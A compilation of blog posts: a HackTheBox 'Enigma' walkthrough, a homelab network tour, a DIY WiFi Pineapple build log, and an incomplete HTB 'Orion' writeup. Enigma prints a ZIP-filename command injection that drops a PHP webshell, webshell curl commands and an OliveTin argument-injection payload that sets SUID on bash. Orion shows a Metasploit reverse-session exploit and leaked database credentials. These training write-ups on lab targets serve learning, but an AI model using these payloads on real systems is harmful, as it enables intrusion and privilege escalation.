Machine: Enigma  ·  Difficulty: Easy  ·  OS: Linux  ·  IP: 10.129.239.191

Enigma is a credential-trail box that turns into a CVE-stacking exercise. An anonymous NFS share hands over onboarding credentials, password reuse opens a second mailbox, and from there it is three different CVEs back to back: SQL injection for a hash, P7M command injection for a foothold, and an OliveTin argument-injection bug for root.

0. Initial recon

Started with a standard service version scan:

nmap -sV 10.129.239.191

Results showed a mail-heavy Linux host:

22/tcp   - SSH (OpenSSH 9.6p1, publickey only)
80/tcp   - HTTP (nginx 1.24.0)
110/tcp  - POP3 (Dovecot)
111/tcp  - rpcbind (2-4)
143/tcp  - IMAP (Dovecot)
993/tcp  - IMAPS (Dovecot)
995/tcp  - POP3S (Dovecot)
2049/tcp - NFS (nfs_acl v3)

SSH was publickey-only from the start, so password auth was never an option there.

1. NFS: the onboarding share

Used showmount to check for NFS exports (had to install nfs-common first since Parrot did not have it):

apt install nfs-common
showmount -e 10.129.239.191

Found /srv/nfs/onboarding exported to * (everyone). Mounted it:

mkdir /mnt/nfs
mount -t nfs 10.129.239.191:/srv/nfs/onboarding /mnt/nfs

Single file inside: New_Employee_Access.pdf. Opened it and found gold:

• Employee: Kevin Mitchell
• Webmail URL: http://mail001.enigma.htb
• Username: kevin
• Password: Enigma2024!

Added hostnames to /etc/hosts:

10.129.239.191 enigma.htb mail001.enigma.htb

Wall #1: POP3 plaintext auth blocked. Tried connecting to POP3 on port 110 with netcat but got -ERR [AUTH] Plaintext authentication disallowed on non-secure (SSL/TLS) connections. Fix: use the SSL ports instead with openssl s_client:

openssl s_client -connect 10.129.239.191:995 -quiet

2. Webmail enumeration

Logged into Roundcube webmail at http://mail001.enigma.htb as kevin. Found one email from sarah@enigma.htb welcoming Kevin to the team. Nothing actionable beyond learning Sarah’s email address.

Password reuse: Sarah’s mailbox

Tried the same default password Enigma2024! on Sarah’s mailbox and it worked. Inside Sarah’s inbox was the real prize: an email from IT Support with credentials for an internal management panel:

• URL: http://support_001.enigma.htb
• Username: admin
• Password: Ne3s4rtars78s

Added support_001.enigma.htb to /etc/hosts.

3. Vhost discovery

While exploring the web services, ran ffuf to discover additional virtual hosts:

ffuf -u http://10.129.239.191 -H "Host: FUZZ.enigma.htb" \
     -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -fs 154

Found bilbo.enigma.htb returning a 302 redirect. Attempted directory brute-forcing against it but every path returned 302 (redirect to enigma.htb). This turned out to be a dead end. The real path forward was through the credentials already found.

Wall #2: Gobuster vs. wildcard redirects. Gobuster could not handle bilbo.enigma.htb because every path returned a 302 with the same 154-byte body. Had to use ffuf -fs 154 to filter responses by size, but even then there was nothing useful behind the vhost.

4. OpenSTAManager SQL injection (CVE-2026-24418)

Logged into OpenSTAManager 2.9.8 at http://support_001.enigma.htb with the admin credentials. The platform is an Italian open-source business management tool.

Searched for vulnerabilities and found CVE-2026-24418: error-based SQL injection in the Scadenzario (Payment Schedule) module’s bulk operations handler. The id_records[] POST parameter was not validated as integers before being placed in a SQL IN() clause.

Cloned the exploit from GitHub:

git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
python3 exploit.py -t http://support_001.enigma.htb -u admin -p Ne3s4rtars78s --all

Dumped two users from zz_users:

Wall #3: No FILE privilege. The MySQL user brollin@localhost had only USAGE grants. No FILE, no SUPER, no PROCESS. This meant no reading files or writing webshells via SQL injection. Had to find another way in.

Cracking Haris’s hash

Transferred the bcrypt hash to a Windows desktop with a GPU and ran hashcat:

hashcat -m 3200 hash.txt rockyou.txt

Cracked in under 20 seconds: haris : bestfriends

5. RCE via CVE-2025-69212: P7M command injection

Found a second CVE affecting OpenSTAManager 2.9.8: CVE-2025-69212, an OS command injection in P7M file processing. The XML::decodeP7M() function passes unsanitized filenames from uploaded ZIP archives directly into an exec() call for OpenSSL.

The key insight from the PoC: PHP’s ZipArchive::extractTo() splits filenames on /, so payloads must not contain forward slashes.

Wall #4: Finding the right upload point. Tried multiple upload points before finding the correct one:

1. Import module (CSV import): accepted the file but threw an error at importFE_ZIP/init.php. Wrong module.
2. Profile photo upload: server validated through the Intervention Image library (unable to decode input). Tried embedding PHP in EXIF comments of valid JPEGs, tried .phar and .php5 extensions. Server saved them but never executed the PHP.
3. Sales Invoices > Importazione FE (Electronic Invoicing import): this was the correct module. It processes ZIP files containing P7M-signed XML invoices.

Building the payload

Created the exploit ZIP using Python to handle special characters in the filename:

import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('/tmp/exploit3.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

Wall #5: XML validation errors. First attempts with dummy content inside the P7M file triggered Start tag expected, '<' not found. Turns out the error was expected and documented in the PoC. The command injection fires during filename processing BEFORE the XML parsing fails. The “Start tag expected” error is actually confirmation of success.

Uploaded through Sales > Sales Invoices > Importazione FE, clicked Carica documenti, got the expected XML error, then confirmed the webshell was live:

curl "http://support_001.enigma.htb/files/SHELL.php?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

6. Shell as www-data and pivot to Haris

Wall #6: Reverse shell nightmares. Getting a stable reverse shell was painful:

• First reverse shell connected fine via bash /tmp/rev.sh but was fragile.
• Hit Ctrl+Z trying to upgrade the shell with stty raw -echo; fg and killed the session entirely.
• The /tmp/rev.sh file got cleaned between attempts.
• Had to recreate the reverse shell script each time via the webshell.
• Eventually gave up on traditional reverse shells and used the webshell to write an SSH key.

SSH key injection

Generated a keypair locally:

ssh-keygen -f /tmp/haris_key -N ""

First attempt to write the key as www-data failed because chown requires root. Used su through the webshell to write the key as haris:

curl -G "http://support_001.enigma.htb/files/SHELL.php" \
  --data-urlencode "c=echo bestfriends | su - haris -c 'mkdir -p ~/.ssh && \
  echo ssh-ed25519 AAAAC3... > ~/.ssh/authorized_keys && \
  chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys'"

Then SSH’d in:

ssh -i /tmp/haris_key haris@10.129.239.191

User flag

cat /home/haris/user.txt

7. Privilege escalation: OliveTin (CVE-2026-27626)

Enumeration

No sudo access for haris. No interesting SUID binaries. No exploitable cron jobs.

Ran ss -tlnp and found port 1337 listening on localhost. Curled it and discovered OliveTin, a web UI for predefined shell commands.

Read the config at /etc/OliveTin/config.yaml and found:

• authRequireGuestsToLogin: false (no auth needed)
• A “Backup Database” action running mysqldump with user-supplied arguments
• The db_pass argument was type password

This is CVE-2026-27626: OliveTin’s checkShellArgumentSafety function validates argument types to prevent injection, but it explicitly skips password-typed arguments. Since the password gets interpolated into a shell command with single quotes, breaking out of the quotes gives arbitrary command execution as root (OliveTin runs as root).

Exploitation

The db_pass value gets placed inside single quotes in the mysqldump command. Breaking out with x' ; <command> ; #:

curl http://127.0.0.1:1337/api/StartActionAndWait -X POST \
  -H "Content-Type: application/json" \
  -d '{"actionId":"backup_database","arguments":[
      {"name":"db_user","value":"backup_svc"},
      {"name":"db_pass","value":"x'\'' ; chmod u+s /bin/bash ; #"},
      {"name":"db_name","value":"production"}
  ]}'

This sets the SUID bit on /bin/bash, then:

/bin/bash -p
cat /root/root.txt

Attack chain summary

NFS anonymous mount
  -> New_Employee_Access.pdf (kevin:Enigma2024!)
    -> Roundcube webmail as kevin
      -> Learned about sarah@enigma.htb
        -> Password reuse: sarah:Enigma2024!
          -> Sarah's inbox: OpenSTAManager admin creds
            -> CVE-2026-24418 SQLi: dumped haris bcrypt hash
            -> CVE-2025-69212 P7M command injection: webshell as www-data
              -> Cracked hash: haris:bestfriends
              -> SSH key injection: shell as haris
                -> user.txt
                  -> OliveTin on localhost:1337
                    -> CVE-2026-27626 password arg injection: root
                      -> root.txt

Lessons learned

1. Default passwords get reused. The onboarding password Enigma2024! worked across multiple accounts.
2. NFS exports to * are free loot. Always check showmount -e.
3. Multiple CVEs, one target. Needed three different CVEs: SQLi for creds, command injection for initial access, and the OliveTin bypass for root.
4. Upgrade your shell carefully. The Ctrl+Z / stty raw -echo trick can nuke an unstable connection. SSH key injection is more reliable when possible.
5. Internal services are goldmines. Port 1337 was not exposed externally but was the entire path to root.
6. Read the PoC carefully. Wasted time uploading to wrong modules and using wrong payload formats before reading the CVE details thoroughly.

Anything I attack lives on a network that cannot reach anything I use.

Everything below follows from that. This is the full tour: the hardware, how the network is carved up, what runs where, and the design decisions that make it a lab instead of a liability.

The hardware

The host: Dell Precision T7910. A dual-socket Xeon workstation with ECC memory and a stack of drive bays. It was a hand-me-down, which is the ideal price for a lab box. It runs Proxmox VE 9.1 as the hypervisor, carving one physical machine into every container and VM in this writeup. Proxmox calls the node popes, reachable at 192.168.50.33:8006.

The daily driver: “Alert Raven.” My main desktop (192.168.50.30), running a Ryzen 9 9950X3D and an RX 9070 XT 16GB. It does double duty as the lab’s AI box (more on that below). On the Tailscale side it shows up as newdesktop-pope, same machine, two names.

The edge. Spectrum feeds a modem, which hands off to a SonicWall TZ500 acting as the gateway and firewall at 192.168.50.1. Everything on the LAN sits behind it. No services are exposed to the public internet (see the remote access section for how I reach the lab from outside without opening a port).

Wireless. A UniFi AP (AC HD) broadcasts the xPOPE-Lab SSID and carries the phones, laptops, and TVs. It is managed by a controller running inside the lab rather than in somebody’s cloud.

ShadowApple. A GL-AR300M16 flashed into a DIY Wi-Fi Pineapple (OpenWrt plus PineAP), admin at 172.16.42.1. It is portable kit for wireless auditing, not a permanent fixture, so on the map it hangs off the LAN on its own rather than living inside the Proxmox host.

Network architecture: the part that actually matters

Proxmox gives me three virtual bridges, and the split between them is the whole design. Each is a separate broadcast domain with its own gateway on the host:

The important detail is in how vmbr2 and vmbr3 differ, because it is the difference between “separate subnet” and “actually contained.”

vmbr2 is genuinely air-gapped. On the host it has no physical bridge port and no NAT rule. Nothing routes it to the LAN and nothing masquerades it out to the internet. A box on 10.10.20.x can talk to other boxes on 10.10.20.x and that is the entire universe it knows. When I pop a shell on something there, the blast radius is a machine I built to be broken into.

vmbr3 is deliberately the opposite. It carries a NAT rule so its traffic masquerades out through the LAN to the internet, but it still sits on its own subnet away from everything on vmbr0:

# On the Proxmox host, vmbr3 gets internet via NAT but stays off the LAN
iptables -t nat -A POSTROUTING -s 10.10.30.0/24 -o vmbr0 -j MASQUERADE

So vmbr3 is for throwaway things that need to pull packages or phone home without my trusting them anywhere near the main network.

Core services (running 24/7)

These run as lightweight LXC containers rather than full VMs, because single-purpose services do not need the overhead of a whole kernel each.

AdGuard Home (192.168.50.200). Network-wide DNS filtering. Every device on the LAN resolves through it, so ad and tracker blocking happens once, centrally. The non-obvious part: AdGuard’s own default gateway is set to .201, the Mullvad container, not the SonicWall. That means the resolver the whole network depends on egresses through the VPN tunnel. DNS for the LAN goes out encrypted, filtered, and from Mullvad’s exit instead of my ISP’s.

Mullvad VPN gateway (192.168.50.201). A container running raw WireGuard out to Mullvad, acting as a gateway so I can route selected machines through the VPN without installing a client on each one. Point a box’s default route at .201 and its traffic tunnels out. Its own DNS is pointed back at AdGuard on .200, so VPN-routed traffic still gets filtered instead of going out raw. A second Mullvad account drives a separate container so that project’s traffic exits on its own identity.

UniFi Controller (192.168.50.202:8443). Manages the AP, SSIDs, and client visibility. Running it as its own container means the controller survives reboots of anything else and never depends on a vendor cloud.

The attack range

On the isolated vmbr2 (10.10.20.0/24):

• Kali (VM 104) as the offensive workstation.
• HTBPARROT (VM 107), a Parrot build I use for HackTheBox-style work.
• Metasploitable 2 (VM 106) as the intentionally vulnerable target.

Kali and HTBPARROT are dual-homed on purpose. Each has one NIC on the main LAN (vmbr0) and a second NIC on the attack net (vmbr2). I manage and update them from the LAN side, and I attack across the isolated side. Metasploitable has both of its interfaces on vmbr2 only, so the target has no path off the range at all. That is the model: the attacker can reach in, the target cannot reach out.

This is the same workflow I run on live HackTheBox boxes, except the target is local, offline, and air-gapped from everything real. If I break it, I redeploy it in minutes.

The rest of the VM zoo

A pile of lab VMs live on the LAN (vmbr0), powered off until I need them, so they cost nothing but disk when idle:

• Parrot (100), another offensive distro build
• TempleOS (101), because why not
• testthesenutes (102), a scratch box with an honest name
• WinSrv2022 (103) and Win10 (105), Windows targets and AD practice
• Cs16serv (202), a Counter-Strike 1.6 dedicated server sitting on the NAT’d vmbr3 experiment net at 10.10.30.10
• InstaBOT (201), an old automation container, parked

Local AI inference over the LAN

Alert Raven runs LM Studio serving local models on the LAN at port 1234 with an OpenAI-compatible API. Any machine in the lab, including boxes on the attack side, can point at that endpoint for inference instead of calling a cloud provider. It keeps experiments self-contained and keeps the data on my own hardware, which matters when the “data” is lab traffic I would rather not ship to a third party.

Remote access with zero open ports

Tailscale stitches the machines that matter into a private mesh: the desktop, the Proxmox host, a couple of Parrot boxes, a Windows server, and more. Eleven nodes in total. I can reach the lab from anywhere without forwarding a single port on the SonicWall. Nothing is exposed to the public internet, there is no public-facing admin panel, and if a device is not on the tailnet, it does not get in. That is the whole security pitch for remote access: the attack surface from the outside is a WireGuard handshake, not a login page.

Design principles, if you are building one

1. Segment first, add second. The bridges and their isolation rules came before the interesting VMs. It is far easier to drop a vulnerable box onto a network that already cannot reach your real stuff than to retrofit isolation after something owns you.
2. Decide internet access per segment, explicitly. vmbr2 gets none, vmbr3 gets NAT’d internet but no LAN. Writing that rule down (literally, as an iptables line) means the posture is intentional, not accidental.
3. Route the services that leak the most through the VPN. DNS is the chatty one, so AdGuard egresses through Mullvad and filters on the way.
4. Close the front door entirely. Tailscale instead of port forwards.
5. Let targets be cattle, not pets. Everything on the attack range is redeployable in minutes, so breaking it is free.

What’s next

A few deep-dives I want to break out into their own posts:

• The Mullvad-over-WireGuard gateway with the AdGuard DNS routing, as a how-to.
• A full attack-range walkthrough: deploying a target and running a clean engagement end to end on vmbr2.

If you take one thing from this: start with the segmentation. Every other piece gets easier to add once the things you break and the things you use physically cannot see each other.

One bare travel router, a pile of contradictory tutorials, and every wall I face-planted into on the way.

A DIY take on the Hak5 WiFi Pineapple, built on a GL.iNet Shadow (GL-AR300M16-Ext) using xchwarze’s open-source Pineapple-cloner firmware and SHUR1K-N’s Shadowapple resources. This is written as a build log, not a glossy tutorial: I’ve left the wrong turns in on purpose, because the wrong turns are where I actually learned something.

Redaction / scope note. My Wi-Fi password and all real network identifiers (BSSIDs / client MACs) are redacted or replaced with placeholders throughout. Everything demonstrated here was done on my own hardware and my own network. See the Legal & Ethical section before you replicate any of it, that part is not optional.

1. Why build one instead of just buying it

A real Hak5 WiFi Pineapple runs a hundred bucks and up. I went back and forth on this for a while, the commercial unit is polished, supported, and turnkey, and my time isn’t free. But two things pushed me to build:

• Cost. The DIY route lands around $55 to $65 all-in, adapters and all.
• Understanding. A Pineapple isn’t magic hardware, it’s a dual-radio OpenWrt box running rogue-AP software behind a web UI. I wanted to actually understand each layer, and the surest way to understand a thing is to build it and have it fight you.

The enabler is xchwarze’s wifi-pineapple-cloner project, which ports the genuine PineAP firmware onto cheap OpenWrt routers, plus SHUR1K-N’s Shadowapple resources, which wrap all of it specifically around the board I ended up choosing.

2. Picking the router (rabbit hole #1)

Since the Pineapple is really just “a cheap OpenWrt board + PineAP,” picking the router is the build’s first big decision. I was torn between four:

• GL-AR750S ‘Slate’: dual-band, dual-radio, the ‘perfect’ pick on paper.
• GL-AR300M16 ‘Shadow’: Atheros, cheap, single-band internal radio.
• GL-MT300N-V2 ‘Mango’: cheapest, MediaTek, single-band.
• GL-MT3000 ‘Beryl AX’: modern Wi-Fi 6, dual-band, but ~$99 and not a cloner target.

WALL #1: The spec sheet lies, check the chipset. I nearly bought a GL-SFT1200 ‘Opal’: dual-band, three ports, cheap, looked ideal. It’s built on a Siflower SF19A28 with a closed Wi-Fi driver, no reliable monitor mode or injection, and no real mainline OpenWrt. The rule I wish I’d known on day one: for this project the chipset must be Atheros (ath9k) or MediaTek (mt76). Not Realtek, not Siflower. Marketing bullet points won’t tell you that; the chipset will.

WALL #2: The ‘perfect’ board is discontinued. The Slate was the answer… except it’s end-of-life. I burned real time chasing dead Amazon listings and one glorious eBay listing selling a used Slate bundled with six power cords for $80, more than a new one used to cost. Lesson: the ideal board may simply not be buyable anymore, and chasing it is wasted effort.

I landed on the Shadow (GL-AR300M16-Ext): Atheros QCA9531 / ath9k, ~$38, removable external antennas, and, crucially, the exact target of SHUR1K-N’s Shadowapple build. Its one catch: the internal radio is 2.4 GHz only. Hold that thought, because it drives the entire next section.

The Shadow (GL-AR300M16-Ext): Atheros QCA9531 / ath9k, external antennas, WAN + LAN ports, ~$39. The exact board SHUR1K-N’s Shadowapple build targets.

3. The adapter saga (rabbit hole #2, the long one)

The Shadow’s single internal radio does 2.4 GHz. To behave like a real Pineapple you want a second radio, and for 5 GHz you need a USB adapter. This is where I lost the most time.

WALL #3: The Realtek trap. For the cloner firmware, a 5 GHz adapter must be MT7612U or RT5572. That’s the whole list. The problem: ~90% of cheap ‘AC600 / dual-band / Kali’ dongles are Realtek RTL8811AU/8812AU, which do not work on this firmware, even though they work fine on a Kali laptop. I nearly bought three different Realtek cards that all ‘looked’ right.

The naming minefield

With Alfa alone, one letter changes everything:

The Panda PAU0D (MT7612U), my 5 GHz adapter, and the fussy one. The whole-build headache was confirming it was MediaTek, not Realtek.

The RT5572 (here as a Deal4GO board, ~$14), the drama-free 5 GHz alternative to the toast-boat-prone MT7612U.

The “toast boat”

Some MT7612U adapters boot as a fake USB storage device instead of a Wi-Fi card. If lsusb shows 0e8d:2870, you’re in ‘the toast boat’ and need a USB mode-switch. If it shows 0e8d:7612, it woke up correctly. It’s a real chip quirk, SHUR1K-N literally advises “try to stay away from it,” and the drama-free 5 GHz alternative is the RT5572.

What I actually bought

The actual receipts: Shadow ($42.01), Panda PAU0D ($37.70), RT5370 ($23.69), and the 3-port USB hub ($5.80).

What I actually spent: ~$109 for the full three-radio kit. But that’s the loaded build. The ~$60 minimum that gets you a genuinely working Pineapple is just the Shadow (~$42) + one cheap adapter (an RT5370 runs ~$14 to $24) + a USB stick you already own. That alone gives you the internal 2.4 GHz radio plus a second radio, enough for real recon and the full attack chain on 2.4 GHz. I paid up for the extras (the Panda for 5 GHz and a hub) to reach SHUR1K-N’s recommended three-radio setup. Start at $60; add the 5 GHz card and hub only when you actually want 5 GHz. Either way you’re under the cost of a Hak5 unit and you understand every part of it.

4. Flashing (this is the part people get wrong)

WALL #4: Two images, two different version rules. You need two firmware files, and their version rules are opposite, this cost me an hour of confusion:

1. Stock OpenWrt for the AR300M16, the latest stable release (NOT the old v19). Older tutorials point you at 19.07, but the AR300M16 image doesn’t exist in that release, so you’ll hunt forever. Use the firmware selector, newest version.
2. The cloner image, gl-ar300m-universal-sysupgrade.bin, the 19.07.7 build, from xchwarze’s GitLab build repo (the GitHub one is empty; it moved).

OpenWrt Firmware Selector, searched “GL-AR300M16”, latest stable build. Model = GL.iNet GL-AR300M16, Platform = ath79/generic. Grab both SYSUPGRADE and KERNEL to be safe.

The file you want: openwrt-25.12.5-ath79-generic-glinet_gl-ar300m16-squashfs-sysupgrade.bin. Match the AR300M16 variant exactly.

Recovery-mode flash

Everything happens in GL.iNet’s U-Boot recovery, no SSH gymnastics required:

• Connect the Shadow to your PC by Ethernet.
• Hold reset while plugging in power; release when you see 2 solid green LEDs (~6 s).
• Set your PC’s IP to 192.168.1.2 (subnet auto-fills), disable Wi-Fi.
• Browse to 192.168.1.1, the recovery / firmware-update page.

Flash stock OpenWrt first → let it fully reboot → then flash the cloner image through LuCI (System → Backup / Flash Firmware) with ‘Keep settings’ unchecked and ‘Force upgrade’ checked. Three solid LEDs means done.

Brick safety. Match the AR300M16 variant exactly, not Lite, not NAND, not NOR, or you soft-brick it. The saving grace is that U-Boot web recovery is the recovery mechanism itself, so a bad flash is almost always recoverable by re-entering recovery. Hard to permanently kill.

5. First boot & setup

If it worked, browsing to 172.16.42.1:1471 greets you with the pulsating pineapple. “Get Started” walks you through Radio Config, Filters, then drops you at the dashboard.

The WiFi Pineapple ‘Welcome’ screen. Proof both flashes took, the cheap travel router now boots as a Pineapple.

Radio configuration

• Management AP: your private control network. I set a strong WPA2 password (redacted here, obviously) and wrote it down, it’s what you log in with.
• Open AP: the bait SSID PineAP uses. Fine to leave default at first.
• Country code: set correctly for legal TX power / channels.

Radio Configuration: Management AP (password left blank here), Open AP (Pineapple_52BA), and Country Code. The Management AP is your leash-holder network, not an attack AP.

For Filters, Deny-mode-with-an-empty-list gets you running. Just understand what that means: the Pineapple will respond to everything. That’s fine for setup on your own bench; it is not fine pointed at a neighborhood (see Legal & Ethical).

6. The storage wall

WALL #5: There is no SD slot. Every tutorial says “insert an SD card.” The AR300M16 has no SD slot, GL’s own spec sheet literally reads ‘TF Card Slot: N/A.’ Storage has to be a USB flash drive instead. And since the board has only one USB port, which you also need for the adapter, that’s exactly why the 3-port hub is on the parts list.

Plug the flash drive in, then format it through the panel (Advanced → USB & Storage → Format SD Card), not on your PC. It mounts at /sd.

The USB stick that stands in for the missing SD card, 58.5 GB, exFAT. Format it from the Pineapple panel, not Windows.

7. Missing packages & feeding it internet

WALL #6: ‘Not enough space’ until storage is mounted. wpc-tools missing_packages failed with a space error, the 16 MB internal flash is basically full. The stripped dependencies install to /sd, so the USB storage has to be mounted first. Once it was, the command ran clean.

I fed it internet the clean way: an Ethernet cable from my firewall into the Shadow’s WAN port, so it never has to burn the radio on client mode. It pulls a DHCP lease and reaches the internet to grab packages.

root@Pineapple:~# df -h /sd
Filesystem       Size  Used  Avail  Use%  Mounted on
/dev/sdcard/sd1  56.4G 52.0M 53.5G  0%    /sd

root@Pineapple:~# wpc-tools missing_packages   # now installs to /sd

8. Confirming the radios

Sanity-check what the box actually sees. lsusb for the adapters, iw dev for the radio interfaces:

root@Pineapple:~# lsusb
Bus 001 Device 007: ID 0e8d:7612 MediaTek Inc.      <- Panda, WiFi mode (not the toast boat)
Bus 001 Device 004: ID 148f:5370 Ralink RT5370      <- 2.4 GHz adapter
Bus 001 Device 003: ID ffff:5678                    <- USB storage
Bus 001 Device 002: ID 214b:7260                    <- the hub itself

The Panda came up as 0e8d:7612, Wi-Fi mode, not 0e8d:2870, so I dodged the toast boat entirely. End state: three radios, internal (2.4 GHz management), RT5370 (2.4 GHz), Panda (5 GHz).

On the box over SSH: /tmp holds the live session files, recon.db, and the handshakes directory where captures land.

WALL #7: The band lesson. My 2.4-only adapter couldn’t see my own devices, because every one of them lives on 5 GHz. The adapter’s band determines what you can even see. Adding the 5 GHz Panda is what finally made my own network appear in scans. Obvious in hindsight; not obvious at 1 a.m.

Getting a stable monitor interface

Bringing up a working monitor interface was finicky: background processes kept channel-hopping the radio out from under whatever I was doing. Killing the interfering processes and locking the interface to a fixed channel fixed it. This is a general monitor-mode gotcha on single-radio gear, worth knowing regardless of what you’re pointing it at.

9. Making it do something

With the radios up, Recon finally works, select a band (or Both) and it maps every AP and client around you. The genuinely useful skill isn’t running the scan, it’s reading it:

• One physical router broadcasting several SSIDs shows up as several near-identical MACs (same last bytes, different first byte). You can spot a multi-SSID AP just by eye.
• Security shows per network, in my block, a sea of WPA2 with a single ancient WEP outlier and a couple of WPS-enabled boxes standing out immediately.
• Phones and laptops broadcast randomized MACs (a privacy feature); IoT gear, TVs, Echos, plugs, almost always broadcasts its real, static MAC, which makes it trackable.

Recon results, 52 networks in one dual-band sweep, both bands active via the 5 GHz Panda. SSID, MAC, security, WPS, channel, and signal per entry.

The scan panel: results are saved per run, so you can reload an earlier sweep and compare what changed.

Reading the sweep: one physical router shows up as several near-identical BSSIDs (multi-SSID), and the lone WEP/WPS outliers stand out immediately.

What else it can do

Beyond passive recon, the platform also does rogue-AP / evil-twin hosting, captive portals, client tracking, probe-pool harvesting, community modules (DWall, Evil Portal), WPA-Enterprise attacks, and deauthentication + handshake capture.

10. Validating the full chain (on my own network)

To confirm the build actually worked end to end, not just that it powered on, I ran the complete WPA capture-and-recovery workflow against my own access point and my own phone. Described at a methodology level (deliberately not a step-by-step, for reasons in the next section), the chain is four stages:

The real-world snag: one radio, two jobs. Stages 2 and 3 both want the radio parked on the target’s channel, but a single adapter can’t hold a channel for capture and hop around transmitting at the same time, and background scan processes kept dragging it to the wrong channel. The fix was to stop the competing processes, lock the interface to the AP’s channel, and let capture and re-auth share the one radio. This is precisely why a second dedicated adapter (the 5 GHz card) matters, with two radios, one holds the channel while the other works.

The whole run took minutes and validated the entire build. The outcome that’s worth publishing, though, isn’t ‘it worked’, it’s what ‘it worked’ revealed about my own network’s posture, which is the next section.

11. Legal, ethical, and the lesson worth publishing

Read this before you replicate anything. Everything this device does is for your own networks, or networks you have explicit written authorization to test. Deauthing devices or intercepting traffic that isn’t yours can violate FCC rules, the federal CFAA, and state law (in California, Penal Code 502 and the two-party-consent wiretap statutes). The hardware does not care whose network it’s pointed at. You have to. Scope everything to gear you own or are authorized to touch, and use the Pineapple’s own Filters (Allow-mode, your devices only) as a hard leash. This is also why the section above stays at a methodology level rather than a copy-paste recipe.

The defensive takeaway (do this to your own network)

My home network was WPA2 with PMF disabled, the most attackable configuration there is, which is exactly why the chain above went so fast. Three fixes turn ‘falls in seconds’ into ‘not worth anyone’s time’:

1. A long, random passphrase. Length beats complexity: a random 5-word passphrase blows past feasible offline cracking. A dictionary-friendly word-plus-numbers password does not.
2. WPA3 (or WPA2/WPA3 mixed). Its handshake resists the offline dictionary attack that WPA2 is vulnerable to.
3. Protected Management Frames (PMF / 802.11w) on. This makes spoofed deauth frames get ignored, so Stage 2 fails and an attacker can’t even force the handshake to capture in the first place.

That’s the real point of building this: not to break things, but to see exactly how my own network looks to someone who might, and then close the gaps. I went straight from the capture into my controller and had a concrete before/after: the exact settings that took me from ‘trivially exposed’ to ‘hardened.’ Breaking it is common. Being the person who then fixes it is the actual job.

12. Would I do it again?

Yes. About $60 versus $99+, and more importantly I understand every layer of this thing because I fought every layer of it. The Hak5 unit is more polished and more turnkey, if you want a tool that just works out of the box, buy theirs. If you want to learn wireless from the silicon up, build the Shadowapple and let it kick your teeth in for a night.

The wall checklist (a.k.a. what I’d tell past-me)

Credits: xchwarze for the wifi-pineapple-cloner firmware, and SHUR1K-N (McShuriken) for the Shadowapple resources and walkthrough that made the board-specific bits sane. Standing on the shoulders of people who did the hard part first.

Build it on your own gear. Point it at your own gear. Then go make your own gear harder to point it at.

The Art of Trusting the Wrong Thing: A Methodology Breakdown of HTB Orion

There is a pattern that shows up constantly across vulnerability disclosures and breach reports: software that trusts user-supplied data without validating it. Not because developers are careless people. Because validation is hard to get right, and when you miss it in a deserialization context, the consequences are total.

HTB Orion is built around this reality. It is an easy-difficulty Linux machine, but its value is not in the difficulty rating. Its value is in how cleanly it chains three distinct failure classes together: a pre-authentication deserialization flaw, credential exposure in a configuration file, and a legacy daemon running with a trust model that was obsolete before most practitioners were born.

If you approach this box looking for the next command to type, you will get through it. If you approach it asking “why does this work?”, you will take something useful away.

Reconnaissance: two ports, one story

nmap -sV 10.129.71.159

Two ports. SSH on 22, HTTP on 80. For the impatient attacker, this feels thin. But the mistake is treating enumeration as a checklist. You are not looking for ports. You are looking for a story.

The web server redirects to orion.htb, which means you add the hostname to /etc/hosts before anything else resolves:

echo '10.129.71.159 orion.htb' | sudo tee -a /etc/hosts

Browsing to the site reveals a CraftCMS installation. Navigating to /admin/login hands you the version number without asking: 5.6.16. This is the first piece of the story. A web application advertising its exact version is telling you exactly where to look.

Foothold: when deserialization goes wrong

CraftCMS 5.6.16 is affected by CVE-2025-32432, a critical pre-authentication Remote Code Execution vulnerability carrying a CVSS score of 10.0. The flaw lives in the asset transform generation endpoint at /actions/assets/generate-transform. The application accepts a serialized PHP object in the request body and processes it without authentication. An attacker injects a malicious object, the application deserializes it, and arbitrary code runs under the web service account.

The important detail here is not the CVE number. Deserialization vulnerabilities follow the same pattern across every language and framework: the application trusts that the data it is deserializing came from a trusted source. When that assumption is wrong, the trust becomes the attack surface.

Metasploit has a module for this:

use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set RHOSTS 10.129.71.159
set LHOST 10.10.14.67
set VHOST orion.htb
run

A Meterpreter session opens as www-data. Drop into a proper shell and stabilize it:

shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

You are in. The web server account is not the goal, but it is the starting point for everything that follows.

Lateral movement: the .env file and the password it should not have

CraftCMS, like most modern PHP applications, stores its configuration in a .env file at the application root. This is by design. Environment variable files are meant to keep secrets out of source code. The problem is that “out of source code” is not the same as “inaccessible to a compromised web process.”

Navigating to /var/www/html/craft and reading the .env file reveals the database credentials in plaintext:

CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

Connect to the local MariaDB instance:

mysql -u root -p'SuperSecureCraft123Pass!'
use orion;
show tables;
select * from users;

The users table contains a bcrypt hash for adam@orion.htb:

$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

A hash alone is not access. But bcrypt with a weak underlying password is crackable offline, away from any rate limiting or account lockout. The hash goes to a Windows machine with a GPU and Hashcat handles it:

hashcat.exe -m 3200 hash.txt rockyou.txt

Password recovered: darkangel

The question that matters now is whether adam reused this password on his system account. In real environments, this is one of the highest-yield pivots a tester can attempt. Application passwords and system passwords come from the same human brain, and human brains prefer convenience over security.

ssh adam@10.129.71.159

It works. Credential reuse is not a sophisticated attack. It is a human pattern, and it appears in virtually every internal assessment.

User flag is in /home/adam/user.txt.

Privilege escalation: the daemon that trusts too much

Before reaching for kernel exploits or SUID binaries, the first question on any new shell should be: what is listening locally that was not visible externally?

ss -tlnp

Port 23 is listening on 127.0.0.1. Telnet. A legacy remote access protocol from an era when network traffic was assumed to be trustworthy. The version running on this machine is GNU inetutils telnetd 2.7, which is affected by CVE-2026-24061.

